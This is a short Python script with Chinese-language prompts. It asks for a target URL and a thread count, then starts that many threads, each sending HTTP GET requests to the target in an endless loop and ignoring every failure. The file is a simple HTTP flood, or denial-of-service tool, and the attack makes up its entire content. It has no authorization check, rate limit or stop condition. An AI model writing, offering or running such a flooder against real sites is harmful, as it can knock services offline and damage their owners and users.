import requests
import threading

target_url = input("输入目标URL: ")
num_threads = int(input("输入要使用的线程数: "))

def flood():
    while True:
        try:
            response = requests.get(target_url)
            print("向发送请求", target_url)
        except:
            print("连接失败")

# Create and start multiple threads to send requests
threads = []
for i in range(num_threads):
    thread = threading.Thread(target=flood)
    thread.start()
    threads.append(thread)

# Wait for all threads to finish
for thread in threads:
    thread.join()